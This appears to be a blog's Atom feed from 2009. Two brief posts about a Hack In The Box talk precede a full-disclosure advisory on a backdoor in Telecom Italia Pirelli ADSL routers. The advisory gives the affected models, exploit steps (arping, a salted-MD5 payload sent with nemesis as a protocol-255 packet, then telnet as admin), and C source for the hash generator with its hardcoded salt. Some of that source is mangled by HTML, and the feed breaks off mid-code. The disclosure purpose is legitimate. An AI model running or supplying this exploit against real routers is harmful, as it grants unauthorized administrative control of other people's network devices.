<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-2684248577538616884</id><updated>2011-11-27T16:14:24.778-08:00</updated><title type='text'>saxdax</title><subtitle type='html'>hacking - reversing - cryptanalysis</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://saxdax.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2684248577538616884/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://saxdax.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>saxdax</name><uri>http://www.blogger.com/profile/03243994898564667852</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_e6fyw5ja7JI/SUr_h0nJErI/AAAAAAAAAAM/UYGw7af1f6A/S220/saxdax2.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>4</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-2684248577538616884.post-498094741068017015</id><published>2009-01-24T05:41:00.000-08:00</published><updated>2009-01-24T05:50:11.771-08:00</updated><title type='text'>Hack In The Box 2008 video published</title><content type='html'>You can find video of the conference in Malaysia at&lt;br /&gt;&lt;br /&gt;&lt;a href="http://thepiratebay.org/torrent/4654588/HITBSecConf2008_-_Malaysia_Videos___Day_1"&gt;http://thepiratebay.org/torrent/4654588/HITBSecConf2008_-_Malaysia_Videos___Day_1&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;it's a big big torrent with a lot of single videos inside.&lt;br /&gt;The one dealing with my Pirelli modem backdoor disclosure is of Roberto Preatoni (D1T2 day 1 track 2). You can download it as a single video (discarding the others) from your torrent client.&lt;br /&gt;&lt;br /&gt;Bye&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#99ff99;"&gt;saxdax&lt;/span&gt;&lt;/strong&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2684248577538616884-498094741068017015?l=saxdax.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://saxdax.blogspot.com/feeds/498094741068017015/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://saxdax.blogspot.com/2009/01/hack-in-box-2008-video-published.html#comment-form' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2684248577538616884/posts/default/498094741068017015'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2684248577538616884/posts/default/498094741068017015'/><link rel='alternate' type='text/html' href='http://saxdax.blogspot.com/2009/01/hack-in-box-2008-video-published.html' title='Hack In The Box 2008 video published'/><author><name>saxdax</name><uri>http://www.blogger.com/profile/03243994898564667852</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_e6fyw5ja7JI/SUr_h0nJErI/AAAAAAAAAAM/UYGw7af1f6A/S220/saxdax2.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2684248577538616884.post-4108935595644177914</id><published>2009-01-19T09:07:00.000-08:00</published><updated>2009-01-19T09:20:26.523-08:00</updated><title type='text'>The Pirelli backdoor unlock exploit at the prestigious Hack In The Box 2008 conference</title><content type='html'>&lt;a href="http://3.bp.blogspot.com/_e6fyw5ja7JI/SXS1frtSeeI/AAAAAAAAAA4/-hQWLCdhirw/s1600-h/hitbsecconf2008kl-site.jpg"&gt;&lt;img id="BLOGGER_PHOTO_ID_5293055017980426722" style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://3.bp.blogspot.com/_e6fyw5ja7JI/SXS1frtSeeI/AAAAAAAAAA4/-hQWLCdhirw/s400/hitbsecconf2008kl-site.jpg" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div&gt;&lt;div&gt;Pirelli modems backdoor full disclosure deserved a slide at HITB 2008 in Malaysia by Roberto Preatoni.&lt;br /&gt;The whole document with slides is available at&lt;br /&gt;&lt;br /&gt;&lt;a href="https://conference.hackinthebox.org/hitbsecconf2008kl/materials/D1T2%20-%20Roberto%20Preatoni%20-%20Time%20for%20a%20Free%20Hardware%20Foundation.pdf"&gt;D1T2 - Roberto Preatoni - Time for a Free Hardware Foundation.pdf&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The matter is the trend to bring the analysis at a lower level than software, as we did with modems.&lt;br /&gt;&lt;br /&gt;Another interesting Article at HITB dealing with the same topic is the one by Adrian Pastor. You can find it here&lt;br /&gt;&lt;br /&gt;&lt;a href="https://conference.hackinthebox.org/hitbsecconf2008kl/materials/D2T2%20-%20Adrian%20Pastor%20-%20Cracking%20into%20Embedded%20Devices%20and%20Beyond.pdf"&gt;D2T2 - Adrian Pastor - Cracking into Embedded Devices and Beyond.pdf&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Have a good reading&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#99ff99;"&gt;saxdax&lt;/span&gt;&lt;/strong&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2684248577538616884-4108935595644177914?l=saxdax.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://saxdax.blogspot.com/feeds/4108935595644177914/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://saxdax.blogspot.com/2009/01/pirelli-backdoor-unlock-exploit-at.html#comment-form' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2684248577538616884/posts/default/4108935595644177914'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2684248577538616884/posts/default/4108935595644177914'/><link rel='alternate' type='text/html' href='http://saxdax.blogspot.com/2009/01/pirelli-backdoor-unlock-exploit-at.html' title='The Pirelli backdoor unlock exploit at the prestigious Hack In The Box 2008 conference'/><author><name>saxdax</name><uri>http://www.blogger.com/profile/03243994898564667852</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_e6fyw5ja7JI/SUr_h0nJErI/AAAAAAAAAAM/UYGw7af1f6A/S220/saxdax2.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_e6fyw5ja7JI/SXS1frtSeeI/AAAAAAAAAA4/-hQWLCdhirw/s72-c/hitbsecconf2008kl-site.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2684248577538616884.post-2484751218196917386</id><published>2009-01-01T11:43:00.000-08:00</published><updated>2009-01-01T12:23:44.348-08:00</updated><title type='text'>backdoor on Telecom Italia Pirelli modems allows admin access</title><content type='html'>&lt;p&gt;&lt;br /&gt;##########################################################################&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;strong&gt;saxdax &amp;amp; drpepperONE&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Discovered embedded backdoor to activate telnet/ftp/tftp/web extended admin interface&lt;br /&gt;with Admin privileges, from internal network lan on Alice ADSL CPE Modem/Router, manufactered by Pirelli based on Broadcom platform.&lt;br /&gt;##########################################################################&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;img id="BLOGGER_PHOTO_ID_5286423407730589186" style="DISPLAY: block; MARGIN: 0px auto 10px; WIDTH: 400px; CURSOR: hand; HEIGHT: 104px; TEXT-ALIGN: center" alt="" src="http://3.bp.blogspot.com/_e6fyw5ja7JI/SV0mFKYXfgI/AAAAAAAAAAo/iVmZGsItkEA/s400/AGA-AGB-AG3.JPG" border="0" /&gt;&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;br /&gt;&lt;li&gt;Router Vendor: Alice Telecom Italia CPE Modem/Routers manufactered by Pirelli&lt;br /&gt;based on Broadcom platform.&lt;/li&gt;&lt;br /&gt;&lt;br /&gt;&lt;li&gt;Model Affected: AGA[Alice Gate2 plus Wi-Fi]/AGB[Alice Gate2 plus]&lt;br /&gt;AG2P-AG3[Alice Gate W2+]/AGPV-AGPF[Alice Gate VoIP 2 Plus Wi-Fi]&lt;/li&gt;&lt;br /&gt;&lt;br /&gt;&lt;li&gt;Firmware Version: All AGA/AGB/AG2P-AG3/AGPV-AGPF firmware version are affected.&lt;/li&gt;&lt;br /&gt;&lt;br /&gt;&lt;li&gt;Platforms: Customized Linux version 2.6.8.1 on Broadcom BCM96348 chipset.&lt;/li&gt;&lt;br /&gt;&lt;br /&gt;&lt;li&gt;Vulnerability: enable telnet/ftp/tftp and web-admin from internal lan. &lt;/li&gt;&lt;br /&gt;&lt;br /&gt;&lt;li&gt;Exploitation: internal network lan, versus Router &lt;/li&gt;&lt;br /&gt;&lt;br /&gt;&lt;li&gt;Date: 13 Oct 2008&lt;/li&gt;&lt;br /&gt;&lt;br /&gt;&lt;li&gt;Authors: saxdax &amp;amp; drpepperONE&lt;/li&gt;&lt;br /&gt;&lt;br /&gt;&lt;li&gt;e-mail: &lt;a href="mailto:saxdax2@gmail.com"&gt;saxdax2@gmail.com&lt;/a&gt; &lt;a href="mailto:drpepppperone@gmail.com"&gt;drpepppperone@gmail.com&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;br /&gt;&lt;li&gt;Risk: medium&gt;low &lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;###################################################################&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;1) Introduction&lt;br /&gt;2) Vulnerability&lt;br /&gt;3) The Exploit&lt;br /&gt;4) The Code&lt;br /&gt;5) Fix&lt;br /&gt;###################################################################&lt;/p&gt;&lt;br /&gt;&lt;p&gt;===============&lt;br /&gt;&lt;span style="font-size:130%;"&gt;1) Introduction&lt;/span&gt;&lt;br /&gt;===============&lt;br /&gt;Telecom Italia is the most important Italian ISP offering an ADSL service named "Alice".&lt;br /&gt;Telecom Italia rent out with "Alice Adsl" service, different CPE Modem/Router among which&lt;br /&gt;the affected ones.&lt;br /&gt;The interface to configure these modems are made extremily poor by the provider to ensure&lt;br /&gt;more control.&lt;br /&gt;There's no way to enable telnet, ftp, tftp or more advanced web pages from the web interface.&lt;br /&gt;http://www.telecomitalia.com/&lt;br /&gt;http://adsl.alice.it/&lt;br /&gt;######################################################################&lt;/p&gt;&lt;br /&gt;&lt;p&gt;================&lt;br /&gt;&lt;span style="font-size:130%;"&gt;2) Vulnerability&lt;/span&gt;&lt;br /&gt;================&lt;br /&gt;An attacker can activate and get unauthorized access to the routers administration&lt;br /&gt;interface and telnet/ftp/tftp services from internal network.&lt;br /&gt;Every user in the LAN (or Wireless LAN) can nevertheless have access to the routers&lt;br /&gt;administration interface and telnet/ftp/tftp!&lt;br /&gt;If an attacker can get access to the administrator interface and login, he has full control&lt;br /&gt;over the routers configuration. Via telnet the user has a real remote shell to control and&lt;br /&gt;analize the router.&lt;br /&gt;#################################################################&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;==============&lt;br /&gt;&lt;span style="font-size:130%;"&gt;3) The Exploit&lt;/span&gt;&lt;br /&gt;==============&lt;br /&gt;To enable telnet/ftp/tftp and web-admin interface it is necessary send a special&lt;br /&gt;IP packet to router specific ip 192.168.1.1.&lt;br /&gt;This works only from internal LAN where an attacker have and ip like 192.168.1.XX.&lt;br /&gt;The ip packet send to router must have the following feature:&lt;br /&gt;1)IP-protocol-number 255 (there's a RAW SOCKET listening on the router)&lt;br /&gt;2)Payload size 8 byte&lt;br /&gt;3)The payload are the first 8 byte of a salted md5 of the mac address of device br0&lt;br /&gt;4)br0 in these modems has the same mac of eth0&lt;br /&gt;When the modem receives the packet all services will be enabled.&lt;br /&gt;&lt;br /&gt;Example:&lt;br /&gt;&lt;br /&gt;From a GNU/LINUX distrib:&lt;br /&gt;1)Retrieve br0 maccaddress:&lt;br /&gt;arping -I eth0 -c 2 192.168.1.1&lt;br /&gt;ARPING 192.168.1.1 from 192.168.1.2 eth0&lt;br /&gt;Unicast reply from 192.168.1.1 [00:01:02:03:04:05] 8.419ms&lt;br /&gt;Unicast reply from 192.168.1.1 [00:01:02:03:04:05] 2.095ms&lt;br /&gt;Sent 2 probes (1 broadcast(s))&lt;br /&gt;Received 2 response(s)&lt;br /&gt;&lt;br /&gt;2)Calculate special md5 hash from br0 macaddress: create an hex 6 byte long file with the mac address.&lt;br /&gt;run the application below and copy the output hash.&lt;br /&gt;http://rapidshare.com/files/153439269/AliceBDhashCreator.zip.html&lt;br /&gt;3)Send ip packet to router ip 192.168.1.1 with 8 byte paylod file (with the tool you like)&lt;br /&gt;i.e.: nemesis ip -D 192.168.1.1 -p 255 -P hash.hex&lt;br /&gt;&lt;br /&gt;4)Telnet to router :&lt;br /&gt;telnet 192.168.1.1&lt;br /&gt;BCM96348 ADSL Router&lt;br /&gt;Login: admin&lt;br /&gt;Password:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#################################################################&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;===========&lt;br /&gt;&lt;span style="font-size:130%;"&gt;4) The Code&lt;/span&gt;&lt;br /&gt;===========&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-size:78%;"&gt;/* Alice Backdoor Pwd creator by saxdax */&lt;br /&gt;/* this code generates an 8 byte&lt;br /&gt;hash to use as the paylod of the ip packet */&lt;br /&gt;/* the mac must be in an hex&lt;br /&gt;file and has to be passed as argument to the program */&lt;br /&gt;#include&lt;br /&gt;&lt;string.h&gt;&lt;br /&gt;#include &lt;stdlib.h&gt;&lt;br /&gt;#include&lt;br /&gt;&lt;stdio.h&gt;&lt;br /&gt;#include "md5.h"&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt;* RFC 1321 compliant MD5&lt;br /&gt;implementation&lt;br /&gt;*&lt;br /&gt;* Copyright (C) 2001-2003 Christophe Devine&lt;br /&gt;*&lt;br /&gt;*&lt;br /&gt;This program is free software; you can redistribute it and/or modify&lt;br /&gt;* it&lt;br /&gt;under the terms of the GNU General Public License as published by&lt;br /&gt;* the Free&lt;br /&gt;Software Foundation; either version 2 of the License, or&lt;br /&gt;* (at your option)&lt;br /&gt;any later version.&lt;br /&gt;*&lt;br /&gt;* This program is distributed in the hope that it&lt;br /&gt;will be useful,&lt;br /&gt;* but WITHOUT ANY WARRANTY; without even the implied warranty&lt;br /&gt;of&lt;br /&gt;* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the&lt;br /&gt;* GNU&lt;br /&gt;General Public License for more details.&lt;br /&gt;*&lt;br /&gt;* You should have received a&lt;br /&gt;copy of the GNU General Public License&lt;br /&gt;* along with this program; if not,&lt;br /&gt;write to the Free Software&lt;br /&gt;* Foundation, Inc., 59 Temple Place, Suite 330,&lt;br /&gt;Boston, MA 02111-1307 USA&lt;br /&gt;*/&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#define GET_UINT32(n,b,i)&lt;br /&gt;\&lt;br /&gt;{ \&lt;br /&gt;(n) = ( (uint32) (b)[(i) ] ) \&lt;br /&gt;( (uint32) (b)[(i) + 1] &lt;&lt;&gt;&gt; 8 ); \&lt;br /&gt;(b)[(i) +&lt;br /&gt;2] = (uint8) ( (n) &gt;&gt; 16 ); \&lt;br /&gt;(b)[(i) + 3] = (uint8) ( (n) &gt;&gt; 24&lt;br /&gt;); \&lt;br /&gt;}&lt;br /&gt;void md5_starts( md5_context *ctx )&lt;br /&gt;{&lt;br /&gt;ctx-&gt;total[0] =&lt;br /&gt;0;&lt;br /&gt;ctx-&gt;total[1] = 0;&lt;br /&gt;ctx-&gt;state[0] =&lt;br /&gt;0x67452301;&lt;br /&gt;ctx-&gt;state[1] = 0xEFCDAB89;&lt;br /&gt;ctx-&gt;state[2] =&lt;br /&gt;0x98BADCFE;&lt;br /&gt;ctx-&gt;state[3] = 0x10325476;&lt;br /&gt;}&lt;br /&gt;void md5_process(&lt;br /&gt;md5_context *ctx, uint8 data[64] )&lt;br /&gt;{&lt;br /&gt;uint32 X[16], A, B, C,&lt;br /&gt;D;&lt;br /&gt;GET_UINT32( X[0], data, 0 );&lt;br /&gt;GET_UINT32( X[1], data, 4&lt;br /&gt;);&lt;br /&gt;GET_UINT32( X[2], data, 8 );&lt;br /&gt;GET_UINT32( X[3], data, 12&lt;br /&gt;);&lt;br /&gt;GET_UINT32( X[4], data, 16 );&lt;br /&gt;GET_UINT32( X[5], data, 20&lt;br /&gt;);&lt;br /&gt;GET_UINT32( X[6], data, 24 );&lt;br /&gt;GET_UINT32( X[7], data, 28&lt;br /&gt;);&lt;br /&gt;GET_UINT32( X[8], data, 32 );&lt;br /&gt;GET_UINT32( X[9], data, 36&lt;br /&gt;);&lt;br /&gt;GET_UINT32( X[10], data, 40 );&lt;br /&gt;GET_UINT32( X[11], data, 44&lt;br /&gt;);&lt;br /&gt;GET_UINT32( X[12], data, 48 );&lt;br /&gt;GET_UINT32( X[13], data, 52&lt;br /&gt;);&lt;br /&gt;GET_UINT32( X[14], data, 56 );&lt;br /&gt;GET_UINT32( X[15], data, 60&lt;br /&gt;);&lt;br /&gt;#define S(x,n) ((x &lt;&lt;&gt;&gt; (32 -&lt;br /&gt;n)))&lt;br /&gt;#define P(a,b,c,d,k,s,t) \&lt;br /&gt;{ \&lt;br /&gt;a += F(b,c,d) + X[k] + t; a =&lt;br /&gt;S(a,s) + b; \&lt;br /&gt;}&lt;br /&gt;A = ctx-&gt;state[0];&lt;br /&gt;B = ctx-&gt;state[1];&lt;br /&gt;C =&lt;br /&gt;ctx-&gt;state[2];&lt;br /&gt;D = ctx-&gt;state[3];&lt;br /&gt;#define F(x,y,z) (z ^ (x &amp;amp; (y&lt;br /&gt;^ z)))&lt;br /&gt;P( A, B, C, D, 0, 7, 0xD76AA478 );&lt;br /&gt;P( D, A, B, C, 1, 12, 0xE8C7B756&lt;br /&gt;);&lt;br /&gt;P( C, D, A, B, 2, 17, 0x242070DB );&lt;br /&gt;P( B, C, D, A, 3, 22, 0xC1BDCEEE&lt;br /&gt;);&lt;br /&gt;P( A, B, C, D, 4, 7, 0xF57C0FAF );&lt;br /&gt;P( D, A, B, C, 5, 12, 0x4787C62A&lt;br /&gt;);&lt;br /&gt;P( C, D, A, B, 6, 17, 0xA8304613 );&lt;br /&gt;P( B, C, D, A, 7, 22, 0xFD469501&lt;br /&gt;);&lt;br /&gt;P( A, B, C, D, 8, 7, 0x698098D8 );&lt;br /&gt;P( D, A, B, C, 9, 12, 0x8B44F7AF&lt;br /&gt;);&lt;br /&gt;P( C, D, A, B, 10, 17, 0xFFFF5BB1 );&lt;br /&gt;P( B, C, D, A, 11, 22, 0x895CD7BE&lt;br /&gt;);&lt;br /&gt;P( A, B, C, D, 12, 7, 0x6B901122 );&lt;br /&gt;P( D, A, B, C, 13, 12, 0xFD987193&lt;br /&gt;);&lt;br /&gt;P( C, D, A, B, 14, 17, 0xA679438E );&lt;br /&gt;P( B, C, D, A, 15, 22, 0x49B40821&lt;br /&gt;);&lt;br /&gt;#undef F&lt;br /&gt;#define F(x,y,z) (y ^ (z &amp;amp; (x ^ y)))&lt;br /&gt;P( A, B, C, D, 1,&lt;br /&gt;5, 0xF61E2562 );&lt;br /&gt;P( D, A, B, C, 6, 9, 0xC040B340 );&lt;br /&gt;P( C, D, A, B, 11, 14,&lt;br /&gt;0x265E5A51 );&lt;br /&gt;P( B, C, D, A, 0, 20, 0xE9B6C7AA );&lt;br /&gt;P( A, B, C, D, 5, 5,&lt;br /&gt;0xD62F105D );&lt;br /&gt;P( D, A, B, C, 10, 9, 0x02441453 );&lt;br /&gt;P( C, D, A, B, 15, 14,&lt;br /&gt;0xD8A1E681 );&lt;br /&gt;P( B, C, D, A, 4, 20, 0xE7D3FBC8 );&lt;br /&gt;P( A, B, C, D, 9, 5,&lt;br /&gt;0x21E1CDE6 );&lt;br /&gt;P( D, A, B, C, 14, 9, 0xC33707D6 );&lt;br /&gt;P( C, D, A, B, 3, 14,&lt;br /&gt;0xF4D50D87 );&lt;br /&gt;P( B, C, D, A, 8, 20, 0x455A14ED );&lt;br /&gt;P( A, B, C, D, 13, 5,&lt;br /&gt;0xA9E3E905 );&lt;br /&gt;P( D, A, B, C, 2, 9, 0xFCEFA3F8 );&lt;br /&gt;P( C, D, A, B, 7, 14,&lt;br /&gt;0x676F02D9 );&lt;br /&gt;P( B, C, D, A, 12, 20, 0x8D2A4C8A );&lt;br /&gt;#undef F&lt;br /&gt;#define&lt;br /&gt;F(x,y,z) (x ^ y ^ z)&lt;br /&gt;P( A, B, C, D, 5, 4, 0xFFFA3942 );&lt;br /&gt;P( D, A, B, C, 8,&lt;br /&gt;11, 0x8771F681 );&lt;br /&gt;P( C, D, A, B, 11, 16, 0x6D9D6122 );&lt;br /&gt;P( B, C, D, A, 14,&lt;br /&gt;23, 0xFDE5380C );&lt;br /&gt;P( A, B, C, D, 1, 4, 0xA4BEEA44 );&lt;br /&gt;P( D, A, B, C, 4, 11,&lt;br /&gt;0x4BDECFA9 );&lt;br /&gt;P( C, D, A, B, 7, 16, 0xF6BB4B60 );&lt;br /&gt;P( B, C, D, A, 10, 23,&lt;br /&gt;0xBEBFBC70 );&lt;br /&gt;P( A, B, C, D, 13, 4, 0x289B7EC6 );&lt;br /&gt;P( D, A, B, C, 0, 11,&lt;br /&gt;0xEAA127FA );&lt;br /&gt;P( C, D, A, B, 3, 16, 0xD4EF3085 );&lt;br /&gt;P( B, C, D, A, 6, 23,&lt;br /&gt;0x04881D05 );&lt;br /&gt;P( A, B, C, D, 9, 4, 0xD9D4D039 );&lt;br /&gt;P( D, A, B, C, 12, 11,&lt;br /&gt;0xE6DB99E5 );&lt;br /&gt;P( C, D, A, B, 15, 16, 0x1FA27CF8 );&lt;br /&gt;P( B, C, D, A, 2, 23,&lt;br /&gt;0xC4AC5665 );&lt;br /&gt;#undef F&lt;br /&gt;#define F(x,y,z) (y ^ (x ~z))&lt;br /&gt;P( A, B, C, D,&lt;br /&gt;0, 6, 0xF4292244 );&lt;br /&gt;P( D, A, B, C, 7, 10, 0x432AFF97 );&lt;br /&gt;P( C, D, A, B, 14,&lt;br /&gt;15, 0xAB9423A7 );&lt;br /&gt;P( B, C, D, A, 5, 21, 0xFC93A039 );&lt;br /&gt;P( A, B, C, D, 12,&lt;br /&gt;6, 0x655B59C3 );&lt;br /&gt;P( D, A, B, C, 3, 10, 0x8F0CCC92 );&lt;br /&gt;P( C, D, A, B, 10,&lt;br /&gt;15, 0xFFEFF47D );&lt;br /&gt;P( B, C, D, A, 1, 21, 0x85845DD1 );&lt;br /&gt;P( A, B, C, D, 8, 6,&lt;br /&gt;0x6FA87E4F );&lt;br /&gt;P( D, A, B, C, 15, 10, 0xFE2CE6E0 );&lt;br /&gt;P( C, D, A, B, 6, 15,&lt;br /&gt;0xA3014314 );&lt;br /&gt;P( B, C, D, A, 13, 21, 0x4E0811A1 );&lt;br /&gt;P( A, B, C, D, 4, 6,&lt;br /&gt;0xF7537E82 );&lt;br /&gt;P( D, A, B, C, 11, 10, 0xBD3AF235 );&lt;br /&gt;P( C, D, A, B, 2, 15,&lt;br /&gt;0x2AD7D2BB );&lt;br /&gt;P( B, C, D, A, 9, 21, 0xEB86D391 );&lt;br /&gt;#undef&lt;br /&gt;F&lt;br /&gt;ctx-&gt;state[0] += A;&lt;br /&gt;ctx-&gt;state[1] += B;&lt;br /&gt;ctx-&gt;state[2] +=&lt;br /&gt;C;&lt;br /&gt;ctx-&gt;state[3] += D;&lt;br /&gt;}&lt;br /&gt;void md5_update( md5_context *ctx, uint8&lt;br /&gt;*input, uint32 length )&lt;br /&gt;{&lt;br /&gt;uint32 left, fill;&lt;br /&gt;if( ! length )&lt;br /&gt;return;&lt;br /&gt;left = ctx-&gt;total[0] &amp;amp; 0x3F;&lt;br /&gt;fill = 64 -&lt;br /&gt;left;&lt;br /&gt;ctx-&gt;total[0] += length;&lt;br /&gt;ctx-&gt;total[0] &amp;amp;=&lt;br /&gt;0xFFFFFFFF;&lt;br /&gt;if( ctx-&gt;total[0] &lt;&gt;total[1]++;&lt;br /&gt;if(&lt;br /&gt;left &amp;amp;&amp;amp; length &gt;= fill )&lt;br /&gt;{&lt;br /&gt;memcpy( (void *) (ctx-&gt;buffer +&lt;br /&gt;left),&lt;br /&gt;(void *) input, fill );&lt;br /&gt;md5_process( ctx, ctx-&gt;buffer&lt;br /&gt;);&lt;br /&gt;length -= fill;&lt;br /&gt;input += fill;&lt;br /&gt;left = 0;&lt;br /&gt;}&lt;br /&gt;while( length &gt;=&lt;br /&gt;64 )&lt;br /&gt;{&lt;br /&gt;md5_process( ctx, input );&lt;br /&gt;length -= 64;&lt;br /&gt;input +=&lt;br /&gt;64;&lt;br /&gt;}&lt;br /&gt;if( length )&lt;br /&gt;{&lt;br /&gt;memcpy( (void *) (ctx-&gt;buffer +&lt;br /&gt;left),&lt;br /&gt;(void *) input, length );&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;static uint8 md5_padding[64]&lt;br /&gt;=&lt;br /&gt;{&lt;br /&gt;0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,&lt;br /&gt;0, 0, 0, 0, 0,&lt;br /&gt;0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,&lt;br /&gt;0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,&lt;br /&gt;0,&lt;br /&gt;0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0&lt;br /&gt;};&lt;br /&gt;void md5_finish(&lt;br /&gt;md5_context *ctx, uint8 digest[16] )&lt;br /&gt;{&lt;br /&gt;uint32 last, padn;&lt;br /&gt;uint32 high,&lt;br /&gt;low;&lt;br /&gt;uint8 msglen[8];&lt;br /&gt;high = ( ctx-&gt;total[0] &gt;&gt; 29 )&lt;br /&gt;(&lt;br /&gt;ctx-&gt;total[1] &lt;&lt; low =" ("&gt;total[0] &lt;&lt; i="0;i&lt;8;i++)" last =" ctx-"&gt;total[0] &amp;amp; 0x3F;&lt;br /&gt;padn = ( last &lt;&gt;state[0], digest, 0 );&lt;br /&gt;PUT_UINT32(&lt;br /&gt;ctx-&gt;state[1], digest, 4 );&lt;br /&gt;PUT_UINT32( ctx-&gt;state[2], digest, 8&lt;br /&gt;);&lt;br /&gt;PUT_UINT32( ctx-&gt;state[3], digest, 12 );&lt;br /&gt;}&lt;br /&gt;//#ifdef&lt;br /&gt;TEST&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt;* those are the standard RFC 1321 test&lt;br /&gt;vectors&lt;br /&gt;*/&lt;br /&gt;static char *msg[] =&lt;br /&gt;{&lt;br /&gt;"",&lt;br /&gt;"a",&lt;br /&gt;"abc",&lt;br /&gt;"message&lt;br /&gt;digest",&lt;br /&gt;"abcdefghijklmnopqrstuvwxyz",&lt;br /&gt;"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789",&lt;br /&gt;"12345678901234567890123456789012345678901234567890123456789012"&lt;br /&gt;\&lt;br /&gt;"345678901234567890"&lt;br /&gt;};&lt;br /&gt;static char *val[]&lt;br /&gt;=&lt;br /&gt;{&lt;br /&gt;"d41d8cd98f00b204e9800998ecf8427e",&lt;br /&gt;"0cc175b9c0f1b6a831c399e269772661",&lt;br /&gt;"900150983cd24fb0d6963f7d28e17f72",&lt;br /&gt;"f96b697d7cb7938d525a2f31aaf161d0",&lt;br /&gt;"c3fcd3d76192e4007dfb496cca67e13b",&lt;br /&gt;"d174ab98d277d9f5a5611c2c9f419d9f",&lt;br /&gt;"57edf4a22be3c955ac49da2e2107b67a"&lt;br /&gt;};&lt;br /&gt;static&lt;br /&gt;char saltOrig[] =&lt;br /&gt;{0x04, 0x07, 0x67, 0x10, 0x02, 0x81, 0xFA, 0x66, 0x11,&lt;br /&gt;0x41, 0x68, 0x11, 0x17, 0x01, 0x05, 0x22, 0x71, 0x04, 0x10, 0x33};&lt;br /&gt;int main(&lt;br /&gt;int argc, char *argv[] )&lt;br /&gt;{&lt;br /&gt;FILE *f;&lt;br /&gt;int i, j;&lt;br /&gt;char&lt;br /&gt;output[33];&lt;br /&gt;md5_context ctx;&lt;br /&gt;unsigned char buf[1000];&lt;br /&gt;unsigned char&lt;br /&gt;md5sum[16];&lt;br /&gt;unsigned char salt[20];&lt;br /&gt;printf(&lt;br /&gt;"****************************\n");&lt;br /&gt;printf( "Alice BackDoor hash creator&lt;br /&gt;\n");&lt;br /&gt;printf( "by saxdax and drPepperOne \n");&lt;br /&gt;printf(&lt;br /&gt;"****************************\n\n");&lt;br /&gt;if( argc &lt; f =" fopen(" i =" fread("&gt; 0 )&lt;br /&gt;{&lt;br /&gt;md5_update( &amp;amp;ctx, buf, i );&lt;br /&gt;}&lt;br /&gt;memcpy(salt,&lt;br /&gt;saltOrig, 20);&lt;br /&gt;md5_update( &amp;amp;ctx, salt, 20 